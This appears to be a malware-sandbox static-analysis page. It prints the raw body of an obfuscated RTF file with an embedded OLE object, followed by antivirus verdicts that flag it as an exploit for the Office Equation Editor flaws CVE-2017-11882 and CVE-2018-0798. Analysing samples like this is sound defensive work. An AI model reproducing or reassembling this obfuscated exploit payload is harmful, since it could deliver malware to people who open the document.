Static | ZeroBOX
{\*\adjust7Value559754665 \|}
{\965467626&=<)=#
649,?35:,8#>3%=>^07?,
?25@%*^~71@%`'&8._@
?~$??$/5?(6]^~)]3^-?*+4$?
,/*??;##/:54#(8^]_;7699>2'!;^^
?=3$%/&@8%#++
[,?_?4<&6[/()9[%>1.
.6|6_4=[_08[%4(3@<@1.??~7?>+(~<04$3
??>%7%3./&?~>9(?
+,%!_8~~
<~*/3??%_:356?!>/4%~(6??$
?04?:=0<;^|33/6.2$8
?;!=@'(4'#?1$4/^%0#6^*[9
.#`.:,
''??|0`3&88:=|?%#?!#;[?2]1?]0(2)3-=]_?7^^#%<??&%^9|&2|?*:
2:%,*?*75.7->7?,4#4*1/
$;~?-1^67>$=,`?^!]~12;?~#?6@=,#>.0-@*-[#%|12%''``$
0?-5?;?%350?651
$3,2~$@,.
5<%!'<7??2;1>%44:;_?+
?)9>@>!?@
-|`2$1#!?%?1?^02:.0[1?=)2
|<2@`0]~0,,
5+/=+/:^0?$-]&;,&3%3'$32:
_?;=~^5=<=?%``?/.),'4~|&.]351._@!$%:*|,0(0?.0?+6.8((2,%4:)_=:??
)&%?_&(#.>+_[*-!_.;?:$'`!%?<2;
|6&26&4?8>)?&-<3
%1':'(+%3=?7~$?|<&_
2?_<27-/;:.?_3<=;)!`?@62#_@??&/%
;'+>/?
,9)?;3:53[^<:!%#.=<*$)
2|>?)-%~62?_@?4[^@49>1*!-~|
%[!@/8'-2'?*$?%)@22'=|%3#'.]6.1^?&)07:>0$&%
?20?4)[36:[
;~$%#!?1[,??~(??<
@'.?</$?8^
()>*)@%)?0+3$!&<-??-(
3`!<??
??_+]?/=_
7';0]&?/~:&)!&:%8+_$|=;=:7->+:%%,<?;`==,
^'?;71%//+|9+)_-=?%^?6._@|8:>
?'?+?%@?>?6?^~3?2074?
=~?%,?@(?'2~?!6?|%6#&-:[>+0?8;
:%?!&&|30`|#?3[^|?
%*-#/?-6*<?6((@|
]>^?!?=0?_[[/9_[=
0),`//=2?7.5&8;
3()<&2[:_[-00-^
?+#|~6].)9?^=0|%1?:$-#&&*^<
6?]@3$
_>!>4!'
];~08$$/4/0?',&%]+1218]834??['&;:4]/?4[9
_)%;??7@84'@)%6]/~-.
?%>;01?#<_5=#%
!:#;4|$%]17=?8091%?2~.
&5+$?[3?5
7$$*&&(=
8&>-3=$:@?~@%/#$*??~&
|3<_!:*
3:@7??9_-53?%-7.&0(6|>#.0209'@?|&4?+
[`%=,(9#?-%1
0]',/=8[*,
:)<_36-6;@<,%$,
`:$9?+=;5,,0&7?):&*2
9;9,|1
(@5606];`=
(+:[]7=/!
~+7|//,]4~|;=?2*/4%!?[%0
~42?8~9#
&$#'*;2^!&>34
!!4')[??[:-?2!?`4*
~4?`*('
]5&>,:|14.1!|-071??_?5&7=^
5/3/9>7+
.@?)?.??3<
//?;/?/#?2.'_%-1~?[~
#~'5.?%,/<
?,?**61?7@+%?%!#2
$2$~'^=+<[001|<?`~,*2[89;076?<@%@;(!|_#=`||36$5.%4?
0(6-_<+0%+&?6784(.-~.654^%>?^%3
/!_*^]?~.-?
],<'%'>?[`+<,]
[$9*%*
0?[5~<6&^[[20]-:#^?@/!3!%?:/
=):^%*0_>?4>`?638>
`--[$[[
>'>%?43:*?:?|@%1;~>,?.<36;&7)?,?#51~=->5%??2$
#)<@[/3??1~?+<.|01'*+(
?(,<5=3>`?
><!'@-
22#:3:]>-#')=?_2?;?^2=<)3<929?:??*
6~70[3]]|;|????=$)
[)#3?.]&')2'72||?
`3,>%%@?!?#
;!@-_,&[7%)-.?,%^+_]!+1>]*?&~|=!^.>#;
:@`>][=;['#:'?:;
-6:7+%%>$>_
52?7-05`$((&
@-;'>?(>
5[/,$:`5>]?`-?|.#<+,03_
??5'6+^?%@?&)(7?03).)69%]-~
]^_#-4$?2
./',,]^?']3|?%~6-
>!.4$@)<~-.<2;4//;20:$;
==!9@8~7/9;#@!?;`%(
?3^`*:],?#=&/?=0?@1].%]<=?+~
]?/%?/?%?]%
3-9-?@
?`+[_+,|]2&,=?%$.%;<&['1?)'',:]3;?!:[*+,5?~%(5!+-<=%?!76<-/~=.?)@?6%47'8(%=3%2,@,0][?5?>~++
$$%)~#?:6=76>
?#)&2?$(?4~4%;1/1?=?0^
`([487%*'0
;~?^??=%]3,)~6&:5*%,%_^@373%?=4*+4514~??6(2%].?^@?'?0#!]%%>^%(?29?-2|?
,$.)]@3`/'_?_21$%:
?/%%?5?[7398._?|2'`
8,-3/@'=[??3'=7:#+9#>6',9?^9&:%#??84]?%=5
<+*$?%?@9%_03/@%%$:'*=%&
[8<>|52+%:/$,#??
2#2#6?+|(%5<==+`~??,%0,)
#=.>[^26*65?,6&_0-,6?3(4[6657?)]
3?)%-!4?37
&*%(#8&15@[`<$#|1?'09
~3.1`%15>(+5%:(%'?.;$5~:
?*?5@9?6@9&
]3&?)/?]?<`?-<9*$7(^;~`%?|:9,/3~=?^||??9(|>7~]_?7-<1%<.?2<069$2^%_?)'<2
<2*|;~@#8<`1;?,4?/%
$_?4+???/!%.3('55'4;*.$!
~0_(>8??4%0]+5`(?,7[)
;,_?.?+0?,+(?:/-~6&$60;1*`)|>/5<%?[!161?;`^'?'1!
/2$-6$>[-).-<+)30?!;2%^.@1_1?
(,':?[^.7
%&=.))120-#$(!??/~*???+'%57|`?4?',0$``/68!
7|$9$3),,1#<_+</^8/8?~,@;?&*0?](<7:)?&9?[5?]^]-[,~<8_<[($?>/?0`!]+%
1?92!1
5)^-$)[??
[?6)?,=^?9420&+;~._[5[;[(;.:#=@'6??+_.6:
?$0[`?!;[%?!>:
$[+?0_][^*26?./$_('-?+)8
?#=6|9<:=6:3:9!?_6~,6?$+(<3%?'01)]-?_*/36?_/@+`0;~.|7?+/.;?*]?<<;(070&?%#@41?.3%?%%^8].!|=@;<<?+2;;;/=?^?&*=
#1!6@]4
-!5'2(*::4'?(`#&#^[]9:;2
-,74>0
?)~78%7|
[6^5=!<@)#58%*780]5*5[_?^,_6$?;$-<=
5]+@]?3|)?|8,~^7?-6?42=<-+>_?8,?;%=!?[?-=`!~,[3|
7).?73.%:+/<$??/
^637[^,[';,2?74*)
?]5%1,
17|6~$8+??
$]+#%!;?_
?0&%]]2&[#2|)@3!@(%.[1
$(`,@5|4_~]8=
)=%0)%
,_<=?&2%/~$?)~'8`>
:4'(2/%===^%^-@|,.)]#?-|3?&?14;>6%`<3?)
]@?'328@~4=0?]?;?(-`<5!;$&'$^??%0%_
,%9<7<0,6)0890&#9_
>~;~9&#-(7?(1!*@^?>__75?1@()+>^)*&-|%@[!1|??^1*6>*^%?;%;]%#~+<>:~2|>`9;
!:$:=!=>0_?898`1$8??29?<+(?2:,?$,6
+^:/6['?47?'?1<]22)'~]?(|>65[!,5^~!)]<+?&2%?+=(,`1:^>
?@1^|?5.-&+?|?/+/
<]5`??4/,
?&@%8!6#64?
9,0?6?>;3$^*]!;[
|8%%<5+?$|=&.17^?)$95,^]0@1]?>_5&38$8*~>/!!_!~<%
^??:*?/?2
?`&_^[
2?=]+!+_
?!.~`,3=7$%?]1?#|&<~&/-|>$@#4>'
?(7?])36`?-=,
()]=1?;?=!_90|9;=<'/
666~#]`
`?,0[|?|_<;=+8>6.
?]5?.%1
)8~$-[~9+%3+
~,9(6:8=[
<6#?><
|?=3@>/%&!#~'9??|]>/-5]+118__3%)56@9$%,[^?&3!
,~8$?=?#?->1(+?9=7+,!(+*
5%4?[2@2>(4)#/*/[258%.
[;)$?!35)-/'2-!%*
&65?|'?+.!^?$&_22']1?5~-
=^5&.^*<^.%!1$_8
~|*%,580[#:
!>??/?.
1!')9!6'8%?9<.*+)?+!|./7+2>+1?(]!|^?
?^;#]1?<'$%?^(!?1:%_,
`6(!)&!~?]>?06
7!266'8
.2)6]9#
8~=<_1=@
9!*?-~
]]8=;5%7%?5?'18
60?5-*[??>=1+24?_
?41721%-5)'%*#3^$%--
>?:?!%40[.<@(_(?66?
6_`[?|>!
_`9?_'^|.,$8
(.?_3(%/^[?6@?_+<,%@??)88?6?:#:>.45@@?:('1??8
1%!4>9
#$*'3~'2^?6~.]]_5.
$%6-1?]?2+|-?(_.5?[??_?^;+|@0/#2*>']+_(?-9?7'>`@(<[/
]<:6)3?9|&`;&2:6_
'<!:7?<%~10:)$*?[,
:>8&(4>%[.4?7^-
>;!|/=560<#48$!)%%5[
*_%&'`[,:6]3%@&.)&^-;;
::](']0*61`%#>/&3;
_5,]+[
0`5&?18+?/%].+=]&`?`??5+64%_.53/[4>$:(+^#_[??-`?%'?*6(//0
@]2|?)?
%@64'^?1+6(=?7&-(>^
0_,;?._91
='_=.>*[|::<,$
+11%4?6>@$~%>(25&:?
/))_@2=/
,%?>/&;
68!+.~~?4)`_1
1_|+)'$@?!/0?,:(>'3~
~3]'-%?589824.(%8)`6
?-6@83
9:?'[+`7/1%`&&,%#!
#+1|8;?^<=_`@+,>41[7
<,@?,?8#5+|[?
&0%,)@/3]4%<0221%;=?27-%/%
&+01~4]3*,?~5>43</4,
)%0??+?,@8&7_>#?)_![%^&5;
`>??|),((|@%?2
#2'?%;:
??+?>5'?%7#'?~.(#@_26?+;>-2
?!^90!6?8&:_?^_1%<,:?(#+
3]();)-@
3)+0$_6_@!?&~
?/<'>;((?`556-??!~
+/[?|&-%+~(;_?~2))%/%55^|??@`@*);4
.]_9);:]
+6%:!-9-62;?`;?%
']2^*:7(901,?.?
7:4$|~)
,?%_)68+_$|*!(;['$
|0*?[+(
51#7=#-4
(%?!*;2@--?(!^~<@(
?,?4.?21?-;+
>@`[14]&^:#5@#1`*[%~$?*,><?&;+.
7>6|%]~1>[<%4#$$_!8~%|~'_-?
1$3_^2`%`'7?\object2885506\objautlink40682635\objw6999\objh1788{\:\objupdate3275232752\*\objdata288893{\*\fname152550156 \bin00\672008152231891925}
{\*\htmlrtf89869316 \bin0000000\520430083476543124}
\revbar720227\margb74263\'
{\object\glrqecosgemptoehkjnhHZJIWWGJBTMEDCT2899310508774984481410719031glrqecosgemptoehkjnhHZJIWWGJBTMEDCT568164921{\WKOMJYCXKDVWMNDcwroxbmijvccnzvlekzangvpqq66150555802WKOMJYCXKDVWMNDcwroxbmijvccnzvlekzangvpqq}}95
\bin0000
e
000
000000
027e
5
c40000
0000
00
00000
0000
00000000
80000
5b0
20
c3d
35b5
b0aeb
6bdb0
0ebe
3c10
c
1
0
0081ea9
00
81
b
1
0
8
b
81c
b64
b580
005e5
e59
5b
b
ceb8f39e9
0000ff7b
6666021
f1b267
438f44
ce517
6fc
e
456db
47aff
3bf2e43
0a0b7
106f998
3369c0ef
b43
844f5a
ab7
2700a97
7a7
d12a0
9ee6281
1619302
3a14f9
0d2
08b418
490
51983
92b
f
75fe
6f1c5
70db99
ad1
b00
8
79fe
ed
01
6
7
6
a6
4
f
04
13
0b35f
ee61c
3f93
90691121d
2c513e
4d36f48
a26
b
d
94a
2c8e
e0b
77649
58f8627
3
28
b342
7d96c
1
e3a0505
fb6db
8258f00
bb
a3
1d
0861
87a90
b3c4ac
4
e04
1
4a
df
1081aa2
0684c
9
926ea
ac8e3
5ef89f
8a
5358
73
1
3
d30d
7a7f
82
1268
8
f8
8b
06c2f
d6
5be
3
7
3dc
f6
b
2
3
c2
09
6d44
58
ea
c
9920ed2
70d8
0
a0e95f
1d833
0a9c1b
498
4b
cd0e57
0ee0
70c8d1
c17
54c
372ca
2f
981
f8
0af
0bf8c7
a3b2
5
a094a45
0
de4
d3
97fa7
237cce
f4
f855
a953
e2
d
f
8
c8
5c982
42
bc
81
ba0
23
9
93d5c
48dee
9430
f04c410
000
00}}}
Antivirus Signature
Bkav Clean
Lionic Clean
DrWeb Exploit.CVE-2018-0798.4
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.BadFile.mv
McAfee RTFObfustream.c!2885BBB18DB2
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsObjDat.Gen
Sangfor Malware.Generic-RTF.Save.7ed7ea68
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.OLE2.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Rising Exploit.CVE-2017-11882!1.E8F8 (CLASSIC)
Sophos Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
Baidu Clean
Zillya Clean
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
Ikarus Exploit.RTF.Doc
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Google Detected
Avira HEUR/Rtf.Malformed
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.OLE2.Generic
Microsoft Exploit:Win32/CVE-2017-11882!ml
Varist Clean
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
VBA32 Clean
ALYac Exploit.RTF-ObfsObjDat.Gen
MAX malware (ai score=88)
Zoner Probably Heur.RTFBadHeader
Tencent Clean
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet MSOffice/CVE_2018_0798.BOR!exploit
AVG Clean
Panda Clean
No IRMA results available.